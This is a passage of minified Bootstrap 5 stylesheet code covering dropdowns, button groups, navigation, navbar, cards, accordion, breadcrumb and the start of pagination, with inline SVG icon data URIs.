var(--bs-dropdown-border-color);border-radius:var(--bs-dropdown-border-radius)}.dropdown-menu[data-bs-popper]{top:100%;left:0;margin-top:var(--bs-dropdown-spacer)}.dropdown-menu-start{--bs-position:start}.dropdown-menu-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-end{--bs-position:end}.dropdown-menu-end[data-bs-popper]{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-start{--bs-position:start}.dropdown-menu-sm-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-sm-end{--bs-position:end}.dropdown-menu-sm-end[data-bs-popper]{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-start{--bs-position:start}.dropdown-menu-md-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-md-end{--bs-position:end}.dropdown-menu-md-end[data-bs-popper]{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-start{--bs-position:start}.dropdown-menu-lg-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-lg-end{--bs-position:end}.dropdown-menu-lg-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-start{--bs-position:start}.dropdown-menu-xl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xl-end{--bs-position:end}.dropdown-menu-xl-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1400px){.dropdown-menu-xxl-start{--bs-position:start}.dropdown-menu-xxl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xxl-end{--bs-position:end}.dropdown-menu-xxl-end[data-bs-popper]{right:0;left:auto}}.dropup .dropdown-menu[data-bs-popper]{top:auto;bottom:100%;margin-top:0;margin-bottom:var(--bs-dropdown-spacer)}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-menu[data-bs-popper]{top:0;right:auto;left:100%;margin-top:0;margin-left:var(--bs-dropdown-spacer)}.dropend .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropend .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-toggle::after{vertical-align:0}.dropstart .dropdown-menu[data-bs-popper]{top:0;right:100%;left:auto;margin-top:0;margin-right:var(--bs-dropdown-spacer)}.dropstart .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropstart .dropdown-toggle::after{display:none}.dropstart .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropstart .dropdown-toggle:empty::after{margin-left:0}.dropstart .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:var(--bs-dropdown-divider-margin-y) 0;overflow:hidden;border-top:1px solid var(--bs-dropdown-divider-bg);opacity:1}.dropdown-item{display:block;width:100%;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);clear:both;font-weight:400;color:var(--bs-dropdown-link-color);text-align:inherit;text-decoration:none;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:var(--bs-dropdown-link-hover-color);background-color:var(--bs-dropdown-link-hover-bg)}.dropdown-item.active,.dropdown-item:active{color:var(--bs-dropdown-link-active-color);text-decoration:none;background-color:var(--bs-dropdown-link-active-bg)}.dropdown-item.disabled,.dropdown-item:disabled{color:var(--bs-dropdown-link-disabled-color);pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:var(--bs-dropdown-header-padding-y) var(--bs-dropdown-header-padding-x);margin-bottom:0;font-size:.875rem;color:var(--bs-dropdown-header-color);white-space:nowrap}.dropdown-item-text{display:block;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);color:var(--bs-dropdown-link-color)}.dropdown-menu-dark{--bs-dropdown-color:#dee2e6;--bs-dropdown-bg:#343a40;--bs-dropdown-border-color:var(--bs-border-color-translucent);--bs-dropdown-box-shadow: ;--bs-dropdown-link-color:#dee2e6;--bs-dropdown-link-hover-color:#fff;--bs-dropdown-divider-bg:var(--bs-border-color-translucent);--bs-dropdown-link-hover-bg:rgba(255, 255, 255, 0.15);--bs-dropdown-link-active-color:#fff;--bs-dropdown-link-active-bg:#0d6efd;--bs-dropdown-link-disabled-color:#adb5bd;--bs-dropdown-header-color:#adb5bd}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;flex:1 1 auto}.btn-group-vertical>.btn-check:checked+.btn,.btn-group-vertical>.btn-check:focus+.btn,.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn-check:checked+.btn,.btn-group>.btn-check:focus+.btn,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group{border-radius:.375rem}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn.dropdown-toggle-split:first-child,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:nth-child(n+3),.btn-group>:not(.btn-check)+.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropend .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropstart .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn~.btn{border-top-left-radius:0;border-top-right-radius:0}.nav{--bs-nav-link-padding-x:1rem;--bs-nav-link-padding-y:0.5rem;--bs-nav-link-font-weight: ;--bs-nav-link-color:var(--bs-link-color);--bs-nav-link-hover-color:var(--bs-link-hover-color);--bs-nav-link-disabled-color:#6c757d;display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:var(--bs-nav-link-padding-y) var(--bs-nav-link-padding-x);font-size:var(--bs-nav-link-font-size);font-weight:var(--bs-nav-link-font-weight);color:var(--bs-nav-link-color);text-decoration:none;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out}@media (prefers-reduced-motion:reduce){.nav-link{transition:none}}.nav-link:focus,.nav-link:hover{color:var(--bs-nav-link-hover-color)}.nav-link.disabled{color:var(--bs-nav-link-disabled-color);pointer-events:none;cursor:default}.nav-tabs{--bs-nav-tabs-border-width:1px;--bs-nav-tabs-border-color:#dee2e6;--bs-nav-tabs-border-radius:0.375rem;--bs-nav-tabs-link-hover-border-color:#e9ecef #e9ecef #dee2e6;--bs-nav-tabs-link-active-color:#495057;--bs-nav-tabs-link-active-bg:#fff;--bs-nav-tabs-link-active-border-color:#dee2e6 #dee2e6 #fff;border-bottom:var(--bs-nav-tabs-border-width) solid var(--bs-nav-tabs-border-color)}.nav-tabs .nav-link{margin-bottom:calc(var(--bs-nav-tabs-border-width) * -1);background:0 0;border:var(--bs-nav-tabs-border-width) solid transparent;border-top-left-radius:var(--bs-nav-tabs-border-radius);border-top-right-radius:var(--bs-nav-tabs-border-radius)}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{isolation:isolate;border-color:var(--bs-nav-tabs-link-hover-border-color)}.nav-tabs .nav-link.disabled,.nav-tabs .nav-link:disabled{color:var(--bs-nav-link-disabled-color);background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:var(--bs-nav-tabs-link-active-color);background-color:var(--bs-nav-tabs-link-active-bg);border-color:var(--bs-nav-tabs-link-active-border-color)}.nav-tabs .dropdown-menu{margin-top:calc(var(--bs-nav-tabs-border-width) * -1);border-top-left-radius:0;border-top-right-radius:0}.nav-pills{--bs-nav-pills-border-radius:0.375rem;--bs-nav-pills-link-active-color:#fff;--bs-nav-pills-link-active-bg:#0d6efd}.nav-pills .nav-link{background:0 0;border:0;border-radius:var(--bs-nav-pills-border-radius)}.nav-pills .nav-link:disabled{color:var(--bs-nav-link-disabled-color);background-color:transparent;border-color:transparent}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:var(--bs-nav-pills-link-active-color);background-color:var(--bs-nav-pills-link-active-bg)}.nav-fill .nav-item,.nav-fill>.nav-link{flex:1 1 auto;text-align:center}.nav-justified .nav-item,.nav-justified>.nav-link{flex-basis:0;flex-grow:1;text-align:center}.nav-fill .nav-item .nav-link,.nav-justified .nav-item .nav-link{width:100%}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{--bs-navbar-padding-x:0;--bs-navbar-padding-y:0.5rem;--bs-navbar-color:rgba(0, 0, 0, 0.55);--bs-navbar-hover-color:rgba(0, 0, 0, 0.7);--bs-navbar-disabled-color:rgba(0, 0, 0, 0.3);--bs-navbar-active-color:rgba(0, 0, 0, 0.9);--bs-navbar-brand-padding-y:0.3125rem;--bs-navbar-brand-margin-end:1rem;--bs-navbar-brand-font-size:1.25rem;--bs-navbar-brand-color:rgba(0, 0, 0, 0.9);--bs-navbar-brand-hover-color:rgba(0, 0, 0, 0.9);--bs-navbar-nav-link-padding-x:0.5rem;--bs-navbar-toggler-padding-y:0.25rem;--bs-navbar-toggler-padding-x:0.75rem;--bs-navbar-toggler-font-size:1.25rem;--bs-navbar-toggler-icon-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e");--bs-navbar-toggler-border-color:rgba(0, 0, 0, 0.1);--bs-navbar-toggler-border-radius:0.375rem;--bs-navbar-toggler-focus-width:0.25rem;--bs-navbar-toggler-transition:box-shadow 0.15s ease-in-out;position:relative;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;padding:var(--bs-navbar-padding-y) var(--bs-navbar-padding-x)}.navbar>.container,.navbar>.container-fluid,.navbar>.container-lg,.navbar>.container-md,.navbar>.container-sm,.navbar>.container-xl,.navbar>.container-xxl{display:flex;flex-wrap:inherit;align-items:center;justify-content:space-between}.navbar-brand{padding-top:var(--bs-navbar-brand-padding-y);padding-bottom:var(--bs-navbar-brand-padding-y);margin-right:var(--bs-navbar-brand-margin-end);font-size:var(--bs-navbar-brand-font-size);color:var(--bs-navbar-brand-color);text-decoration:none;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{color:var(--bs-navbar-brand-hover-color)}.navbar-nav{--bs-nav-link-padding-x:0;--bs-nav-link-padding-y:0.5rem;--bs-nav-link-color:var(--bs-navbar-color);--bs-nav-link-hover-color:var(--bs-navbar-hover-color);--bs-nav-link-disabled-color:var(--bs-navbar-disabled-color);display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link.active,.navbar-nav .show>.nav-link{color:var(--bs-navbar-active-color)}.navbar-nav .dropdown-menu{position:static}.navbar-text{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-navbar-color)}.navbar-text a,.navbar-text a:focus,.navbar-text a:hover{color:var(--bs-navbar-active-color)}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:var(--bs-navbar-toggler-padding-y) var(--bs-navbar-toggler-padding-x);font-size:var(--bs-navbar-toggler-font-size);line-height:1;color:var(--bs-navbar-color);background-color:transparent;border:var(--bs-border-width) solid var(--bs-navbar-toggler-border-color);border-radius:var(--bs-navbar-toggler-border-radius);transition:var(--bs-navbar-toggler-transition)}@media (prefers-reduced-motion:reduce){.navbar-toggler{transition:none}}.navbar-toggler:hover{text-decoration:none}.navbar-toggler:focus{text-decoration:none;outline:0;box-shadow:0 0 0 var(--bs-navbar-toggler-focus-width)}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;background-image:var(--bs-navbar-toggler-icon-bg);background-repeat:no-repeat;background-position:center;background-size:100%}.navbar-nav-scroll{max-height:var(--bs-scroll-height,75vh);overflow-y:auto}@media (min-width:576px){.navbar-expand-sm{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-sm .offcanvas .offcanvas-header{display:none}.navbar-expand-sm .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:768px){.navbar-expand-md{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-md .offcanvas .offcanvas-header{display:none}.navbar-expand-md .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:992px){.navbar-expand-lg{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-lg .offcanvas .offcanvas-header{display:none}.navbar-expand-lg .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1200px){.navbar-expand-xl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-xl .offcanvas .offcanvas-header{display:none}.navbar-expand-xl .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1400px){.navbar-expand-xxl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xxl .navbar-nav{flex-direction:row}.navbar-expand-xxl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xxl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xxl .navbar-nav-scroll{overflow:visible}.navbar-expand-xxl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xxl .navbar-toggler{display:none}.navbar-expand-xxl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand-xxl .offcanvas .offcanvas-header{display:none}.navbar-expand-xxl .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}.navbar-expand{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand .offcanvas .offcanvas-header{display:none}.navbar-expand .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}.navbar-dark{--bs-navbar-color:rgba(255, 255, 255, 0.55);--bs-navbar-hover-color:rgba(255, 255, 255, 0.75);--bs-navbar-disabled-color:rgba(255, 255, 255, 0.25);--bs-navbar-active-color:#fff;--bs-navbar-brand-color:#fff;--bs-navbar-brand-hover-color:#fff;--bs-navbar-toggler-border-color:rgba(255, 255, 255, 0.1);--bs-navbar-toggler-icon-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.card{--bs-card-spacer-y:1rem;--bs-card-spacer-x:1rem;--bs-card-title-spacer-y:0.5rem;--bs-card-border-width:1px;--bs-card-border-color:var(--bs-border-color-translucent);--bs-card-border-radius:0.375rem;--bs-card-box-shadow: ;--bs-card-inner-border-radius:calc(0.375rem - 1px);--bs-card-cap-padding-y:0.5rem;--bs-card-cap-padding-x:1rem;--bs-card-cap-bg:rgba(0, 0, 0, 0.03);--bs-card-cap-color: ;--bs-card-height: ;--bs-card-color: ;--bs-card-bg:#fff;--bs-card-img-overlay-padding:1rem;--bs-card-group-margin:0.75rem;position:relative;display:flex;flex-direction:column;min-width:0;height:var(--bs-card-height);word-wrap:break-word;background-color:var(--bs-card-bg);background-clip:border-box;border:var(--bs-card-border-width) solid var(--bs-card-border-color);border-radius:var(--bs-card-border-radius)}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{flex:1 1 auto;padding:var(--bs-card-spacer-y) var(--bs-card-spacer-x);color:var(--bs-card-color)}.card-title{margin-bottom:var(--bs-card-title-spacer-y)}.card-subtitle{margin-top:calc(-.5 * var(--bs-card-title-spacer-y));margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link+.card-link{margin-left:var(--bs-card-spacer-x)}.card-header{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);margin-bottom:0;color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-bottom:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-header:first-child{border-radius:var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius) 0 0}.card-footer{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-top:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-footer:last-child{border-radius:0 0 var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius)}.card-header-tabs{margin-right:calc(-.5 * var(--bs-card-cap-padding-x));margin-bottom:calc(-1 * var(--bs-card-cap-padding-y));margin-left:calc(-.5 * var(--bs-card-cap-padding-x));border-bottom:0}.card-header-tabs .nav-link.active{background-color:var(--bs-card-bg);border-bottom-color:var(--bs-card-bg)}.card-header-pills{margin-right:calc(-.5 * var(--bs-card-cap-padding-x));margin-left:calc(-.5 * var(--bs-card-cap-padding-x))}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:var(--bs-card-img-overlay-padding);border-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-bottom,.card-img-top{width:100%}.card-img,.card-img-top{border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-bottom{border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card-group>.card{margin-bottom:var(--bs-card-group-margin)}@media (min-width:576px){.card-group{display:flex;flex-flow:row wrap}.card-group>.card{flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.accordion{--bs-accordion-color:#000;--bs-accordion-bg:#fff;--bs-accordion-transition:color 0.15s ease-in-out,background-color 0.15s ease-in-out,border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out,border-radius 0.15s ease;--bs-accordion-border-color:var(--bs-border-color);--bs-accordion-border-width:1px;--bs-accordion-border-radius:0.375rem;--bs-accordion-inner-border-radius:calc(0.375rem - 1px);--bs-accordion-btn-padding-x:1.25rem;--bs-accordion-btn-padding-y:1rem;--bs-accordion-btn-color:var(--bs-body-color);--bs-accordion-btn-bg:var(--bs-accordion-bg);--bs-accordion-btn-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='var%28--bs-body-color%29'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");--bs-accordion-btn-icon-width:1.25rem;--bs-accordion-btn-icon-transform:rotate(-180deg);--bs-accordion-btn-icon-transition:transform 0.2s ease-in-out;--bs-accordion-btn-active-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%230c63e4'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");--bs-accordion-btn-focus-border-color:#86b7fe;--bs-accordion-btn-focus-box-shadow:0 0 0 0.25rem rgba(13, 110, 253, 0.25);--bs-accordion-body-padding-x:1.25rem;--bs-accordion-body-padding-y:1rem;--bs-accordion-active-color:#0c63e4;--bs-accordion-active-bg:#e7f1ff}.accordion-button{position:relative;display:flex;align-items:center;width:100%;padding:var(--bs-accordion-btn-padding-y) var(--bs-accordion-btn-padding-x);font-size:1rem;color:var(--bs-accordion-btn-color);text-align:left;background-color:var(--bs-accordion-btn-bg);border:0;border-radius:0;overflow-anchor:none;transition:var(--bs-accordion-transition)}@media (prefers-reduced-motion:reduce){.accordion-button{transition:none}}.accordion-button:not(.collapsed){color:var(--bs-accordion-active-color);background-color:var(--bs-accordion-active-bg);box-shadow:inset 0 calc(var(--bs-accordion-border-width) * -1) 0 var(--bs-accordion-border-color)}.accordion-button:not(.collapsed)::after{background-image:var(--bs-accordion-btn-active-icon);transform:var(--bs-accordion-btn-icon-transform)}.accordion-button::after{flex-shrink:0;width:var(--bs-accordion-btn-icon-width);height:var(--bs-accordion-btn-icon-width);margin-left:auto;content:"";background-image:var(--bs-accordion-btn-icon);background-repeat:no-repeat;background-size:var(--bs-accordion-btn-icon-width);transition:var(--bs-accordion-btn-icon-transition)}@media (prefers-reduced-motion:reduce){.accordion-button::after{transition:none}}.accordion-button:hover{z-index:2}.accordion-button:focus{z-index:3;border-color:var(--bs-accordion-btn-focus-border-color);outline:0;box-shadow:var(--bs-accordion-btn-focus-box-shadow)}.accordion-header{margin-bottom:0}.accordion-item{color:var(--bs-accordion-color);background-color:var(--bs-accordion-bg);border:var(--bs-accordion-border-width) solid var(--bs-accordion-border-color)}.accordion-item:first-of-type{border-top-left-radius:var(--bs-accordion-border-radius);border-top-right-radius:var(--bs-accordion-border-radius)}.accordion-item:first-of-type .accordion-button{border-top-left-radius:var(--bs-accordion-inner-border-radius);border-top-right-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:not(:first-of-type){border-top:0}.accordion-item:last-of-type{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-item:last-of-type .accordion-button.collapsed{border-bottom-right-radius:var(--bs-accordion-inner-border-radius);border-bottom-left-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:last-of-type .accordion-collapse{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-body{padding:var(--bs-accordion-body-padding-y) var(--bs-accordion-body-padding-x)}.accordion-flush .accordion-collapse{border-width:0}.accordion-flush .accordion-item{border-right:0;border-left:0;border-radius:0}.accordion-flush .accordion-item:first-child{border-top:0}.accordion-flush .accordion-item:last-child{border-bottom:0}.accordion-flush .accordion-item .accordion-button{border-radius:0}.breadcrumb{--bs-breadcrumb-padding-x:0;--bs-breadcrumb-padding-y:0;--bs-breadcrumb-margin-bottom:1rem;--bs-breadcrumb-bg: ;--bs-breadcrumb-border-radius: ;--bs-breadcrumb-divider-color:#6c757d;--bs-breadcrumb-item-padding-x:0.5rem;--bs-breadcrumb-item-active-color:#6c757d;display:flex;flex-wrap:wrap;padding:var(--bs-breadcrumb-padding-y) var(--bs-breadcrumb-padding-x);margin-bottom:var(--bs-breadcrumb-margin-bottom);font-size:var(--bs-breadcrumb-font-size);list-style:none;background-color:var(--bs-breadcrumb-bg);border-radius:var(--bs-breadcrumb-border-radius)}.breadcrumb-item+.breadcrumb-item{padding-left:var(--bs-breadcrumb-item-padding-x)}.breadcrumb-item+.breadcrumb-item::before{float:left;padding-right:var(--bs-breadcrumb-item-padding-x);color:var(--bs-breadcrumb-divider-color);content:var(--bs-breadcrumb-divider, "/")}.breadcrumb-item.active{color:var(--bs-breadcrumb-item-active-color)}.pagination{--bs-pagination-padding-x:0.75rem;--bs-pagination-padding-y:0.375rem;--bs-pagination-font-size:1rem;--bs-pagination-color:var(--bs-link-color);--bs-pagination-bg:#fff;--bs-pagination-border-width:1px;--bs-pagination-border-color:#dee2e6;--bs-pagination-border-radius:0.375rem;--bs-pagination-hover-color:var(--bs-link-hover-color);--bs-pagination-hover-bg:#e9ecef;--bs-pagination-hover-border-color:#dee2e6;--bs-pagination-focus-color:var(--bs-link-hover-color);--bs-pagination-focus-bg:#e9ecef;--bs-pagination-focus-box-shadow:0 0 0 0.25rem rgba(13, 110, 253, 0.25);--bs-pagination-active-color:#fff;--bs-pagination-active-bg:#0d6efd;--bs-pagination-active-border-color:#0d6efd;--bs-pagination-disabled-color:#6c757d;--bs-pagination-disabled-bg:#fff;--bs-pagination-disabled-border-color:#dee2e6;display:flex;padding-left:0;list-style:none}.page-link{position:relative;display:block;padding:var(--bs-pagination-padding-y) var(--bs-pagination-padding-x);font-size:var(--bs-pagination-font-size);color:var(--bs-pagination-color);text-decoration:none;background-color:var(--bs-pagination-bg);border:var(--bs-pagination-border-width) solid var(--bs-pagination-border-color);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media 